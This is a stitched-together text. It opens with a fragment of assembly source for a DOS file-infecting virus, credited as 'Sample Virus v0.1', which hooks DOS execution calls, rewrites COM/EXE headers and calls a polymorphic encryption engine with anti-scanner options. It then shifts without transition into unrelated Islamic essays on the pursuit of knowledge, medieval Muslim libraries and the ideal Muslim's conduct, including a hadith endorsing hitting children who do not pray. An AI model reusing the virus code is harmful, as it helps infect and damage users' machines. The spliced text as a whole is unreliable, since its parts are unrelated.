mov cl,9 ; calc new alloc (512)
pop ax ; ax=size+virus
mov word ptr exe_header+4h,dx
mov word ptr exe_header+2h,ax
lea si,start ; DS:SI=start of code to encrypt
mov di,virus_size ; ES:DI=address for decryptor and
push di ; encrypted code (at heap)
mov cx,virus_size ; CX=virus size
mov dx,rel_off ; DX=offset decrypter will run from
mov al,00001110b ; jmps,anti-tbscan,garbage, use CS:
call _vice ; call engine!
mov cx,18h ; write fiXed header
; set file ptr
offset_zero: ; self explanatory
; new 21h
cmp ax,signal ; is it us?
jnz not_us ; infect..
cmp ax,4b00h ; execute file?
push ax bx cx di dx si ds es
pop es ds si dx di cx bx ax
db 0eah ; jump far XXXX:XXXX
old21 dd 0
new_24: ; critical error handler
mov al,3 ; prompts s*ck, return fail
credits db '[�iqu Sample Virus v0.1]'
new_code db 0Fbh ; STI (our marker)
new_jmp db 0E9h,0,0 ; jmp XXXX
rel_off dw 0
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
db 16h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
; ***********End Virus Code
Pursuit of Knowledge in the Islamic Perspective
In this context, let us examine the verses of Qur’an and Sayings of the Prophet on acquiring knowledge.
"And Allah brought you out of your mother's wombs devoid of all knowledge, but He has endowed you with hearing, and sights, and minds-hearts, so that you may be grateful."
And the traditions of Prophet (Peace Be Upon Him) tell us that:
"Acquisition of knowledge is compulsory for every Muslim, whether male or female."
"The ink of the scholar is more sacred than the blood of the martyr."
"Seek knowledge from the cradle to the grave."
"The best form of worship is the pursuit of knowledge."
"To listen to the words of the learned and to instill unto others the lessons of science is better than religious exercises."
"Thinking deep for one hour (with sincerity) is better than 70 years of (mechanical) worship."
"Scholars should endeavour to spread knowledge and provide education to people who have been deprived of it. For where knowledge is hidden it disappears."
The Prophet made seeking knowledge an obligation upon every Muslim, and he explained that the superiority of the one who has knowledge over the one who merely worships is like the superiority of the moon over every other heavenly body. He said that the scholars are the heirs of the Prophets and that the Prophets, May Allah exalt their mention did not leave behind any money, rather their inheritance was knowledge, so whoever acquires it has gained a great share. Furthermore, the Prophet said that seeking knowledge is a way leading to Paradise. He said: "Whoever follows a path in the pursuit of knowledge, Allah will make a path to Paradise easy for him." (Al-Bukhari)
For example the Quran repeatedly asks us to observe the earth and the heavens. This instills in man a desire to learn natural science as well. All the books of Hadeeth have a chapter on knowledge. In Saheeh Al-Bukhari there is a chapter entitled "The virtue of one who acquires learning and imparts that to others."
The universities of Oxford, Cambridge and the University of Paris were all established in the early 13th centuries (Christian Era), and all three universities taught the same text book on medicine unchanged for 600 years. This was the famous and encylopaedic work of Ibn Sina who was a Muslim scientist.
It was, indeed, between the 8th-13th centuries that most decisive scientific inventions were made, and the foundations of modern civilisation were laid. Scientists and scientific discoveries in their thousands, artistic creativity, great architecture, huge libraries, hospitals, universities, mapping of the world, the discovery of the sky and its secrets, and much more. It was the time when Al-Biruni, Al-Khwarizmi, Al-Idrissi, Al-Kindi, Ibn Sina, Al-Razi, Ibn Khaldun, Al-Khazin, Ibn al-Haytham, Al-Farabi, Al-Ghazali, Al-Jazari and hundreds more scientists shaped the modern sciences in such a way that in the mind of Briffault,
`Science owes a great deal more to the Arab culture, it owes its existence.'
The transmission of Greek thought to the Arabs in the course of the translation movement had a huge impact on the development of Arabic science in its formative period. Insofar as Arabic pharmacology is concerned we must mention by name three important Greek texts which were available in Arabic translations by the middle of the 9th century CE: first, the book entitled On Medical Matters by Dioscorides, an army doctor who lived in the 1st century CE; second, the book entitled On the Mixing and the Properties of Simple Drugs by Galen, a physician who lived in the 2nd century CE; and third, the book entitled On the Composition of Medicinal Drugs by the same Galen. These texts not only broadened the horizon of the Arabs for their actual contents, they also provided patterns of formal arrangement and scientific organization. During this time the Arabs also became acquainted with the so-called Summaria Alexandrinorum, a summary of sixteen books of Galen compiled around the year 600 CE in the medical school of Alexandria – this summary of Galenic writings introduced to the Arabs the concept of humoralism, which was to dominate all later medical and pharmacological theories.
Sardar and Davies write that:
`The vast book publishing industry in the Western world is truly awesome and certainly cannot be praised enough. But this recent Western achievement cannot eclipse an equally awesome, sophisticated and wide-ranging publication industry that first grew in the Muslim civilisation around the middle of the eighth century, almost one thousand years before books appeared in the same quantity and quality in the West. The vast industry was still in existence when Europe began to occupy Muslim lands, and was systematically killed off by the colonial powers, along with the Muslim systems of education and medicine and other cultural institutions.'
Indeed, ten or so centuries past, as Scott outlines, the situation was the very opposite of what we have today:
`Under the conditions of intellectual culture which characterised Moslem and Christian society even a greater inequality prevailed. The library of Mostandir, Sultan of Egypt, contained eighty thousand volumes; that of the Fatimids of Cairo, a million; that of Tripoli, two hundred thousand; in the thirteenth century, when Bagdad was sacked by the Mongols, the books cast into the Tigris completely covered its surface, and their ink dyed its waters black, while a far greater number were destroyed by fire; the public collections of the Moorish Khalifate of Spain were seventy in number … The collections of many private individuals were proportionately large. In that of Ibn-al-Mathran, the physician of Saladin, were ten thousand manuscripts; upon the shelves of Dunasch-ben-Tamin, the great Jewish surgeon of Cairo, were more than twenty thousand. Four centuries afterwards few books existed in Christian Europe excepting those preserved in monasteries; the royal library of France consisted of nine hundred volumes, two-thirds of which were theological works; their subjects were limited to pious homilies, the miracles of saints, the duties of obedience to ecclesiastical superiors.'
Mackensen and Pinto have written extensively on Islamic libraries of the Middle Ages, highlighting their place and role in Islamic society. So widespread were public book collections that it was impossible to find a Mosque or a learning institution of any sort, throughout the land of Islam, without a collection of books placed at the disposal of students or readers. Baghdad, for instance, prior to the Mongols, had 36 public libraries and over a hundred book-dealers, some of whom were also publishers employing a corps of copyists. In Merw, in Eastern Persia, around 612-614H/1216-1218CE, there were 10 libraries, two in the chief Mosque and the remainder in the Madrasas. In Marrakech, the Kutubya Mosque was so named, because around 200 Kutubiya or book sellers had assembled their booths around that Mosque erected by the Almohad ruler Abd al-Mumin, and they had given their name to it. Spain alone had seventy public libraries. There were similar libraries in Cairo, Aleppo and the major cities of Iran, Central Asia and Mesopotamia. Adud al-Daula (d. 372H/983CE), founded a library in Shiraz, which, in the words of al-Muqaddasi was:
`A complex of buildings surrounded by gardens with lakes and waterways. The buildings were topped with domes, and comprised an upper and a lower story with a total, according to the chief official, of 360 rooms....In each department, catalogues were placed on a shelf... the rooms were furnished with carpets...'
In addition to the central government libraries, there was a huge network of public libraries in most big cities, and prestigious private collections which attracted scholars from all parts of the Muslim world. Writing on the Muslim Spanish libraries, Scott writes:
`Nor must the libraries be omitted from this list of those factors of progress which so signally contributed to public enlightenment and to the formation of national character. There was no city of importance without at least one of these treasure-houses of literature. Their shelves were open to every applicant. Catalogues facilitated the examination of the collections and the classification of the various subjects. Many of the volumes were enriched with illuminations of wonderful beauty; the more precious were bound in embossed leather and fragrant woods; some were inlaid with gold and silver. Here were to be found all the learning of the past and all the discoveries of the present age, the philosophy of Athens, the astronomy of Babylon, the science of Alexandria, the results of prolonged observation and experiment on the towers and in the laboratories of Cordova and Seville.'
The Mosque was the central focus of intellectual activity and medium of book diffusion. In the Mosques writers and scholars recounted the results of their studies to audiences of young people, other scholars and interested laymen, and as the cultural basis of the intellectual activity was common to all, anyone and everyone could take part in discussion. This intellectual activity spurred book diffusion through the Mosques as explained by Sardar and Davies:
`When a writer wished to publish a book, he first made notes and then wrote out an original manuscript (asl) which was initially called the 'draft' (muswadda). While such a draft naturally had a value, it did not constitute publication. The word used for publication, kharraja, means 'let (it) go out' or even 'come out' or 'be published'. The author was thus required to present his book to the public. This he did in the Mosque by oral reading or dictation.
Scholars would dictate numerous volumes of their work in the Mosques where the general public gathered to hear them and professional warraqs copied and turned dictations into books. Even when the books were especially commissioned, they would still be published in this way. For example, a prominent ninth-century philologist, al-Farra (d. 206H/822CE) was asked by a friend to write a book to guide him in the understanding of the Qur'an so that he would not be ashamed when the Emir, to whom he was attached, asked him questions about any passage from it. Al-Farra, who lived in Baghdad, agreed. He also announced that he would dictate a book of this nature in the Mosque - and it is in this way that the work was published.
The Mosques played another central role, acting as libraries. One of the most noble traditions long held by the Muslims was to bequeath their manuscripts and book collections, sometimes thousands of volumes, to the Mosques. Pedersen explains that from the beginning, Mosques were not just devoted to worship, but were also schools and seats of learning, and so it was normal that people should give their libraries to the Mosques, and an entire book collection might be transferred to a Mosque as a self contained library or dar al-kutub. Throughout the Muslim land, from the Atlantic to the Persian Gulf and beyond, Muslims regarded their places of worship as havens for the safe keeping of their valued books, and so in large numbers, they bequeathed them their collections. In Al-Qayrawan, the manuscripts were endowed to students by those who sought Allah's favour and His pleasure with them, as was recorded on many such manuscripts. And similarly, al-Zaidi founded a Mosque and library named after him, and before his death gifted his own private collection to `all students and seekers of knowledge.' Al-Jaburi reported that Naila Khatun, a wealthy widow of Turkish origin, founded a Mosque in memory of her deceased husband, Murad Afandi. She attached to the Mosque a Madrasa and a library for which she reportedly bought many valuable books and manuscripts. In Aleppo, the largest and probably the oldest Mosque library, the Sufiya, located at the city's Grand Umayyad Mosque, contained a large book collection of which 10,000 volumes were reportedly bequeathed by the city's most famous ruler, Prince Sayf al-Dawla. Scholars followed the same path, too. In Iraq, the Abu Hanifa Mosque had an impressive library, which benefited from the gifts of private collections, amongst which was one by the physician, Yahia Ibn Jazla (d. 493H/1099CE) and the writer historian al-Zamakhshari (d. 538H/1143CE). Al-Fasi states that in 955H/1548CE, the Qarawiyyin teacher, Abu Abd Allah Muhammad al-Ajmawi, bequeathed his large work, al-Qawl al-Mutabar to the students of the Mosque, and Ibn Khaldun bequeathed to the same Mosque library his Kitab al-Ibar, to be lent only to trustworthy men for the period of two months. Three scholars, amongst whom Yaqut, legated their collections as waqf to the Zaidi Mosque library. Most often, this gesture is a mark of gratitude by the scholar towards the Mosque for their upkeep and support.
Writing on this, Mackensen observes:
`Books were presented and many a scholar bequeathed his library to the Mosque of his city to ensure its preservation and to render the books accessible to the learned who frequented it. And so grew up the great universities of Cordova and Toledo to which flocked Christians as well as Moslems from all over the world, and the famous al-Azhar in Cairo, which after almost a thousand years is still the most famous educational centre of the Mohammedan world.'
If the majority of Mosques had modest libraries, some contained absolutely rich collections, including some rare and inestimable collections. Many scientific works could have found their way into Mosques, according to Sibai as a gesture of gratitude by scientists for being granted material comfort, free accommodation and stationary. Indeed, it was common for Mosques to shelter and assist travelling scholars. Al-Ghazali and al-Baghdadi lived for a period of time in one of the minarets of the Umayyad Mosque in Damascus, whilst Ibn al-Haytham is said to have resided for a while in a qubba (domed room) above one of the main entrances of the Al-Azhar Mosque. Yaqut, for instance, on his death in 627H/1229CE, left his books as waqf (pious bequest) to the Zaidi shrine (also known as the Zaydi Mosque) on Dinar street in Baghdad, and so did Al-Baghdadi. The Aqsa Mosque in Jerusalem, Islam's third holiest shrine, had four libraries. It had several book collections in the Nahawiya and Ashrafyia Madrasas, and a library of even greater stature: the Farisiya Madrasa. Next to it is the Mosque of Umar which was founded during the reign of the second caliph Umar Ibn al-Khattab (Caliph 12-23H/634-644CE). It developed rapidly into an important academy for religious and secular studies included a large book collection which was scattered among the Mosque's four Madrasas. One of these was the Nassiryia Madrasa, founded by Nasr al-Maqdisi, also known as the Ghazzaliya in a tribute to the philosopher al-Ghazali (d. 505H/1111CE) who sequestered himself there until he completed the writing of the celebrated work Ihya al-Ulum Eddin (The revival of religious sciences).
Ibn Tulun Mosque in Old Cairo, eventually, became one of the centres of higher education in Cairo , and Ibrahim observed that the library of this Mosque contained some of the most celebrated works on medicine.
The Qarawiyyin of Fes had three separate libraries, the most prestigious of which being the Abu Inan Library, also known as the Ilmyia library, whose original building is still standing. Founded by the Merinid Sultan, al-Mutawakkil Abu Inan, the library opened its doors to students and the general public in 750H/1349CE. An avid reader and collector, the Sultan deposited in his newly founded library books on various subjects that included religion, science, intellect and language, and he also appointed a librarian to take charge of the affairs of the library. Other Moroccan towns also had large book collections in their Mosques. Pedersen refers to the large amounts of manuscripts that are found in the Mosques of the Zaytuna in Tunis, Tlemcen in Algeria and Rabat in Morocco.
The Zaytuna of Tunis, possibly, was the richest of all. It had several collections totalling in the tens of thousands of books. It is said that most rulers of the Hafsid dynasty vied with each other for the prestige associated with maintaining and strengthening the book collection at the Mosque; which at some point exceeded 100,000 volumes.
Also in Tunisia, in Al-Qayrawan, the Great Mosque has preserved some of the remnants of its great intellectual apogee and memory of its scholars through books and documents they wrote in their own hands, or that they assigned others to write. The rich collection of manuscripts assembled in the Mosque University of al-Qayrawan are those dating from its Aghlabid times (9th Century CE). These documents which included unique cultural data formed part of the curriculum taught at the great Mosque then. The collection in the ancient library of Al-Qayrawan is in large part written on parchment, and is the largest and best known collection in the Arab Islamic world. Mosque libraries also included large numbers of scientific works, and manuscripts no-one suspected they would possess. Abd al-Wahab located at the Qayrawan's Atiqa Library an Arabic translation of Tarikh al Umam al-Qadima (history of Ancient Nations) which was written by Saint Gerome sometime prior to his death in 420CE. Also, in the same Mosque library, the same Abd al-Wahab states that it holds works such as Pliny's on botany which was translated from Latin. The Ahmadi Mosque in Tanta (Egypt) included manuscripts on 25 different subjects including medicine, arithmetic, algebra, and the art of dye making.
The Zaytuna had a library, al-Abdaliyah which had a large collection of rare manuscripts and which attracted men of learning from all parts. When the Spaniards occupied Tunis between 940 and 981H/1534 and 1574CE, they ransacked its Mosques and libraries, and removed many of the precious books and manuscripts. The Turkish dynasties which expelled the Spaniards restored and expanded the Zaytuna Mosques, its libraries and Madrasa and made it again a high centre of Islamic culture. The Ottoman Bey, Ahmad Pasha I, did not just revitalise the Ahmadiya Library, he also organised and generously supported education at the Zaytuna, besides depositing large numbers of books in the Mosque . New courses were introduced in 1896 including physics, political economy and French. It is at Al-Zaytuna where scores of figures of Arab - Islamic culture received their education. Amongst these were Tawfiq al-Madani, and above all, Abdel-Hamid Ibn Badis, the figure behind the revival of Algeria's Islamic identity in the 1940s.
The rulers played a central role in the supply and maintenance of such libraries. Al-Manstansiryyah of Baghdad had a rich library made to great parts of books transferred from the very private library of the Caliph. In Damascus, Nur Eddin Zangi gave large collections of books to the many libraries of the city , whilst in Cairo, al Qadi al-Fadil presented his schools with 100,000 volumes on various subjects for the use of students. In the Maghrib, Abu Yaqub, the Almohad ruler, Deverdun says, `had a great soul and love for collecting books.' He founded a great library, which was eventually carried to the Casbah, and turned into a public library, under the management of erudite Moroccan scholars. In Spain, the Reyes of Tayfas, Princes who succeeded the Umayyad (early 11th century), also became celebrated for their libraries at Saragossa, Granada, Toledo, and elsewhere. Some fifty years or so, before them, in the same country, Al-Hakam II's (349-365H/961-976CE) collection was estimated at between 400,000 to 600,000 books. He engaged copyists and bookbinders, and had agents sent to every province to procure books for him by purchase and by transcription.
Private libraries also thrived. Under Almohad rule, in Morocco, was the famed the 13th centuryMaktaba of Ibn Tarawa, a great amateur of chroniclers, besides being a manuscript writer; the Maktaba of al-Qaysi and the Maqtaba of Ibn as-Suqr, the main librarian of the imperial library, his collection requiring five full camel loads to be carried . Khizanat Sabur was established in the 11th century by Abu Nasr Sabbur b. Ardashir the minister under the Buwwayhids in Baghdad. The library is recorded to have been a centre for eminent persons and learned men among whom discussion and debate often took place. Amongst the scholars of Islam, there was none who could be found without a collection of books of his own, Shalaby concluding, that the number of these libraries was equal to the number of learned people. Both in their thousands. The library of the physician Ibn al-Mutran, had, according to Ibn Abi Usaybi'a more than 3,000 volumes; and three copyists worked constantly in his service. Also we hear of a private library in Baghdad, in the 9th century, which required 120 camels to move it from one place to another.
People could buy books. An average bookshop contained several hundred titles, but larger bookshops had many more on offer. The celebrated bookshop of Ibn al-Nadim, the tenth-century bibliophile and bookseller, was said to be on an upper story of a large building where buyers came to examine manuscripts, enjoy refreshment and exchange ideas.
Al-Fahrist, the catalogue of books that Ibn Nadim sold (contained in the shop or to which there was access), listed more than sixty thousand titles in an unlimited range of subjects: language and calligraphy, Christian and Jewish scriptures, the Qur'an and commentaries on the Qur'an, linguistic works, histories and genealogies, official government works, court accounts, pre-Islamic and Islamic poetry, works by various schools of Muslim thought, biographies of numerous men of learning, Greek and Islamic philosophy, mathematics, astronomy, Greek and Islamic medicine, literature, popular fiction, travel (India, China, Indochina), magic, miscellaneous subjects and fables! The first section of the first Chapter of al-Fahrist was devoted to various styles of writing (including Chinese), qualities of paper, `excellencies of penmanship' and `excellencies of the book.'
People could also borrow books. Yaqut holds that he was permitted to take out no fewer than two hundred volumes on loan without deposing a pledge. Maybe his is a rare case, but highlights the desire to spread access to the book. Book lending demanded rules and regulations, such as that readers were urged to take great care of borrowed books, not to write comments or correct any mistakes found in the book, but instead to report them to the librarian; and return the borrowed items by a given date. Mosque libraries had their code of borrowing, of course , but also had their reader sections. The large Mosque libraries in particular provided their patrons with adequate facilities not just for reading, but also writing. They set aside adequately lit and comfortably fitted rooms with carpets, mats, and seating mattresses. The sultan al-Mutawakkil, again, even ordered the construction of a `zawiyat qurra,' or an enclosure for readers which were `lavishly furnished and equipped.'
It was the practice to appoint a librarian to take charge of the affairs of the library . Such duty was only for the most learned amongst men, those `of unusual attainment,' as custodians of the libraries. The management of the Almohad libraries, says Ibn Farhun, was one of the privileged state positions, for which were selected only the best scholars. Al-Tazi, for his part, points to the crucial role given to the librarians who were chosen amongst the most proficient and learned people in society. The Sufiya of the Grand Mosque of Aleppo library had Muhammad al-Qasarani, an accomplished poet and a man well versed in literature, geometry, arithmetic and astronomy in charge of it. Such men, Mackensen notes, were, themselves, pleased to act as librarians. `It speaks highly for the generosity of the patrons as well as for the really important work carried out in these libraries that men of marked ability in various fields felt it worth their while to undertake the duties of custodian.'
Given Islam's love for knowledge and its elevation of scholars and writers to exalted positions, the evolution of a publishing industry was a foregone conclusion at the advent of Islam. Within one hundred years after the advent of Islam, a sophisticated and highly integrated book industry was flourishing in the Muslim world. Techniques were evolved for each stage of book production: composition, copying, illustrating, binding, publishing, storing and selling. Reading books, as well as hearing them being dictated, became one of the major occupations and pastimes. In certain major cities, such as Baghdad and Damascus, almost half the population was involved in some aspect of book production and publication. However, book production was both an industry and an institution, an institution with its own customs and practices, its own checks against fraud and misrepresentation and, above all, an institution that ensured that learning and books were not the prerogative of a select few but were available to all those who had the desire. It also ensured that the scholars and authors themselves also benefited both economically and in terms of recognition from their work.
The literary necessities of a highly educated population, the multiplication of manuscripts, the requirements of innumerable institutions of learning, in turn stimulated the book industry. Within two hundred years after the death of the Prophet, the book industry was to be found in almost every corner of the Muslim world. Indeed, the whole of Muslim civilisation revolved around the book. Libraries (royal, public, specialised, private) had become common; bookshops were to found almost everywhere (small, large, those adjacent to Mosques, in the centres of cities, in collectives, in special sections of the bazaars); and bookmen (authors, translators, copiers, illuminators, librarians, booksellers, collectors) from all classes and sections of society, of all nationalities and ethnic backgrounds, vied with each other in the production and distribution of books
The use of paper rather than papyrus or parchment also made books relatively cheap. This had another decisive impact subsequently, when paper-making was transmitted to the West. The Europeans of the Middle Ages wrote on parchment, but its high price was a serious obstacle to the multiplication of written works. The main benefit was to render immense services to the diffusion of knowledge. Thus, as Pedersen sums up, by manufacturing paper on a large scale, the Muslims: `accomplished a feat of crucial significance not only to the history of the Islamic book but also to the whole world of books.'
Ideal Muslim in a Pluralistic Society
In a world plagued with wars, racism, political turmoil, economic downturns, and social anguish, many people are looking for an alternative in which justice, freedom, decency, and common sense will prevail. Such societies have existed in the past, in the golden eras of Islamic civilization, and we have the hope that, if Allah wills, such a society may appear again. But until then a Muslim has to live in this society in a way which will cause that society itself to metamorphose into a just and liberal one.
Here is a picture of what a Muslim’s life in a society consisting of Muslims and non-Mulims, would look like. Drawing on the extensive research of Islamic History and contrasting the ideal with the sorry state affairs in human societies today, let us explore the religious, political, economic, social, and other facets of this Muslim’s life, illustrating everything from the responsibilities of those in authority to the interactions between individuals on the humblest levels. For those who are longing to see a better world, this life offers practical ideas and hope.
The collective lives of the people do not bear any impression of the guidance of the Qur’an and the Sunnah. The lives of luxury led by the ruling few and greed has caused many people a grave economic set-back.
Let us take a look at how an ideal Muslim woman would live in such a mixed society.
The Muslim woman never forgets that the mother’s responsibility in bringing up the children and forming their characters is greater than that of the father, because children tend to be closer to their mother and spend more time with her; she knows all about their behavioral, emotional and intellectual development during their childhood and the difficult years of adolescence.
Hence the woman who understands the teachings of Islam and her own educational role in life, knows her complete responsibility for the upbringing of her children, as is referred to in the Qur’an:
(O you who believe! Save yourselves and your families from a Fire whose fuel is Men and Stones . . .) (Qur’an 66:6)
The Prophet (sallallahu ‘alayhi wa sallam) also referred to this responsibility in his hadith:
“Each of you is a shepherd and each of you is responsible for his flock. The leader is a shepherd and is responsible for his flock; a man is the shepherd of his family and is responsible for his flock; a woman is the shepherd in the house of her husband and is responsible for her flock; a servant is the shepherd of his master’s wealth and is responsible for it. Each of you is a shepherd and is responsible for his flock.”1
Islam places responsibility on the shoulders of every individual; not one person is left out. Parents - especially mothers - are made responsible for providing their children with a solid upbringing and sound Islamic education, based on the noble characteristics that the Prophet (sallallahu ‘alayhi wa sallam) declared that he had been sent to complete and spread among people:
“I have only been sent to make righteous behavior complete.”2
Nothing is more indicative of the greatness of the parents’ responsibility towards their children and their duty to give them a suitable Islamic upbringing than the verdict of the ‘ulama’ that every family should heed the words of the Prophet (sallallahu ‘alayhi wa sallam):
“Instruct your children to pray when they are seven and hit them if they do not do so when they are ten.”3
Any parents who are aware of this hadith but do not teach their children to pray when they reach seven or hit them if they do not do so when they reach ten, are parents who are sinners and failing in their duty; they will be responsible before Allah (Subhanahu wa ta’ala) for their failure.
The family home is a microcosm of society in which the children’s mentality, intellect, attitudes and inclinations are formed when they are still very small and are ready to receive sound words of guidance. Hence the parents’ important role in forming the minds of their sons and daughters and directing them towards truth and good deeds is quite clear.
Muslim woman have always understood their responsibility in raising their children, and they have a brilliant record in producing and influencing great men, and instill ling noble values in their hearts. There is no greater proof of that than the fact that intelligent and brilliant women have produced more noble sons than have intelligent and brilliant men, so much so that you can hardly find any among the great men of our ummah who have controlled the course of events in history who is not indebted to his mother.
Al-Zubayr ibn al-’Awwam was indebted for his greatness to his mother Safiyyah bint ‘Abd al-Muttalib, who instill led in him his good qualities and distinguished nature.
‘Abdullah, al-Mundhir and ‘Urwah, the sons of al-Zubayr were the products of the values instill led in them by their mother, Asma’ bint Abi Bakr, and each of them made his mark in history and attained a high status.
‘Ali ibn Abi Talib (radhiallahu anhu) received wisdom, virtue and good character from his distinguished mother, Fatimah bint Asad.
‘Abdullah ibn Ja’far, the master of Arab generosity and the most noble of their leaders, lost his father at an early age, but his mother Asma’ bint ‘Umays took care of him and give him the virtues and noble characteristics by virtue of which she herself became one of the great women of Islam.
Mu’awiyah ibn Abi Sufyan inherited his strength of character and intelligence from his mother, Hind bint ‘Utbah, not from his father Abu Sufyan. When he was a baby, she noticed that he had intelligent and clever features. Someone said to her, “If he lives, he will become the leader of his people.” She responded, “May he not live if he is to become the leader of his people alone!”
Mu’awiyah was unable to instill his cleverness, patience and skills in his own son and and heir, Yazid, because the boy’s mother was a simple Bedouin woman, whom he had married for her beauty and because of the status of her tribe and family.
Mu’awiyah’s brother Ziyad ibn Abi Sufyan, who was a prime example of intelligence, shrewdness and quick-wittedness, was similarly unable to pass these qualities on to his son ‘Ubayd-Allah (subhanahu wa ta’ala) who grew up to be stupid, clumsy, impotent and ignorant. His mother was Marjanah, a Persian woman who possessed none of the qualities that might entitle her to be the mother of a great man.
History records the names of two great men of Banu Umayyah, the first of whom was known for his strength of character, capability, intelligence, wisdom and decisiveness, and the second of whom took the path of justice, goodness, piety and righteousness.
The first was ‘Abd al-Malik ibn Marwan, whose mother was ‘A’ishah bint al-Mughirah ibn Abi’l-’As ibn Umayyah, who was well-known for her strength of character, resolution and intelligence. The second was ‘Umar ibn ‘Abd al-’Aziz (radhiallahu anhu), the fifth of the khulafa’ al-rashidun, whose mother was Umm ‘Asim bint ‘Asim ibn ‘Umar ibn al-Khattab, who was the most noble in character of the women of her time. Her mother was the righteous worshipper of Allah (Subhanahu wa ta’ala) whom ‘Asim saw was honest and truthful, and clearly following the right path, when she refused to add water to the milk as her mother told her to, because she knew that Allah (Subhanahu wa ta’ala) could see her.
If we turn towards Andalusia, we find the brilliant, ambitious ruler ‘Abd al-Rahman al-Nasir who, having started life as an orphan, went on to establish an Islamic state in the West, to which the leaders and kings of Europe surrendered and to whose institutes of learning the scholars and philosophers of all nations came to seek knowledge. This state made a great contribution to worldwide Islamic culture. If we were to examine the secret of this man’s greatness, we would find that it lay in the greatness of his mother who knew how to instill in him the dynamic spirit of ambition.
During the ‘Abbasid period there were two great women who planted the seeds of ambition, distinction and ascendancy in their sons. The first was the mother of Ja’far ibn Yahya, who was the wazir of the khalifah Harun al-Rashid. The second was the mother of Imam al-Shafi’i: he never saw his father who died whilst he was still a babe in arms; it was his mother who took care of his education.
There are many such examples of brilliant women in our history, women who instill led in their sons nobility of character and the seeds of greatness, and who stood behind them in everything they achieved of power and status.
The Muslim as Islâm meant him to be, is a unique and remarkable person in his attitude and conduct and in his relationships and dealings with others at all levels. Throughout his long history, man has never been given the components of a virtuous and integrated personality such as Islâm has bestowed upon the Muslim through the divine guidance contained in the Qur’ân and Sunnah.
Islâm does not concentrate on filling men’s minds with philosophical ideas, or on excessive dream-like spirituality, or on physical training and perfection, or on self-serving materialistic philosophies such as exist nowadays in both East and West. Islâm drew up a balanced, integrated program for man’s development, taking into account his physical, intellectual and spiritual needs, based on the sound principle that man is formed of body, mind and soul.
The personality of the Muslim is perfectly integrated and balanced, and no aspect of it is overtaken by others, as happens in other societies where man is brought up under imperfect manmade systems which all too often are governed by selfish desires, reprehensible innovations or deviant ideas. The Muslim as has been explained in this study, is obedient to Allâh, follows His guidance, seeks His protection, accepts His decrees and always seeks to please Him.
The Muslim personality is balanced. He pays due attention to his body’s needs and his outward appearance, without letting it distract him from taking care of the inner characteristics, as befits man whom Allâh has honored, made His angels prostrate to him, and subjugated for his benefit all that is in heaven and earth. Rather, the Muslim is also concerned with that which will form sound intellectual development and ways of thinking, so that he will understand the nature and essence of things. He does not forget that man is not only composed of a body and a mind, but that he also possesses a soul and a spirit, and feels a longing for higher things that makes him rise above this materialistic life and scale the heights of goodness, virtue and light. Therefore he pays as much attention to his spiritual development as to his physical and intellectual development, in a precisely balanced fashion, which does not concentrate on one aspect to the detriment of others.
With his parents, he is an example of sincere filial piety, good treatment, infinite compassion, utter politeness and deep gratitude.
With his wife, he is the example of good and kind treatment, intelligent handling, deep understanding of the nature and psychology of women, and proper fulfillment of his responsibilities and duties.
With his children, he is a parent who understands his great responsibility towards them, which is, as well as flooding them with love and compassion, to pay attention to anything that may influence their Islâmic development.
With his relatives, he maintains the ties of kinship and knows his duties toward them. He understands the high status given to relatives in Islâm, which makes him keep in touch with them no matter what the circumstances.
With his neighbor, the true Muslim is an example of good treatment and consideration of others’ feelings and sensitivities. He puts up with mistreatment and turns a blind eye to his neighbor’s faults while taking care not to commit any such errors himself. He always adopts the Islâmic attitude whereby treating neighbors well was made a basic principle of Islâm, so much so that the Prophet thought that Jibrail would make his neighbor his heir. Therefore he never does anything bad to his neighbor, nor does he fail in his duty towards him; rather, he does not spare any effort to do favors for his neighbor, without expecting any favors, reward or thanks in return.
His relationship with his brothers and friends is the best and purest of relationships, for it is based on love for the sake of Allâh and this pure, sincere, brotherly love derives its purity from the guidance of the Qur’ân and Sunnah. Hence it became a unique network in the history of human relations.
From these strong bonds and deep love emerged a group of the best attitudes and characteristics, which make the true Muslim a wonderful example of humanity, in whom are embodied the values and morals of Islâm. He is loving, not cold, towards his brothers and friends; he is loyal and does not betray them; he is sincere and does not cheat them; he is gentle and never harsh; he is tolerant and forgiving, and does not bear a grudge or stab in the back; he is generous and prefers others to himself, and he prays for them in their absence.
In his social relationships with all people, he is well mannered, civil and noble, characterized by the attitudes that Islâm encourages. These are not the matter of superficial politeness, which conceals ulterior intentions, aims and goals. Rather it is the ongoing good behavior which is taught in the Qur’ân and Sunnah, and which Islâm has made a religious duty for which man will be brought to account.
The Muslim is truthful and sincere with all people. He does not cheat, deceive or betray. He does not envy others. He fulfils his promises. He has the attitude of shyness (modesty). He is tolerant and forgiving. He is cheerful. He is not pushy. He is patient. He avoids slandering or uttering obscenities. He does not unjustly accuse others of ‘fisq’ or ‘kufr’. He is shy and modest. He does not interfere in that which does not concern him. He refrains from gossiping, spreading slander and stirring up trouble. He avoids false speech and suspicion. When he is entrusted with a secret, he keeps it and does not disclose it. He is modest and never arrogant. He does not make fun of anyone. He respects his elders and those who are distinguished.
He mixes with the best of people. He is keen to do good to people and protect them from harm. He strives to reconcile between the Muslims. He calls others to the way of his ‘Rabb’ with wisdom and beautiful preaching. He visits the sick and attends funerals. He returns favors and is grateful for them. He mixes with people and bears their mistreatment with patience. He tries to make people happy as much as he can. He guides people to do good. He always likes to make things easy and not to make them hard.
He is fair in his judgements. He does not oppress others or play favorites. He is not a hypocrite or a sycophant or a show-off. He does not boast about his deeds and achievements. He is straightforward and is never devious or twisted, no matter what the circumstances. He loves noble things and hates foolishness. He does not exaggerate in his speech or puff up his cheek with pride. He is generous and does not remind others of his gifts or favors. He is hospitable and does not complain when a guest comes to him. He prefers others to himself as much as possible. He relieves the burden of the debtor. He is proud and does not think of begging. He knows that the upper hand is better than the lower. He gets along with people and they feel comfortable with him. He measures all of his habits and customs against Islâmic standards. He follows Islâmic etiquette in eating, drinking, giving ‘salam’, visiting people, entering their homes and sitting with them, and in other social activities. This is the clear, beautiful picture of the Muslim whose personality has been formed by Islâm and whose heart, mind and soul are filled with its divine light.
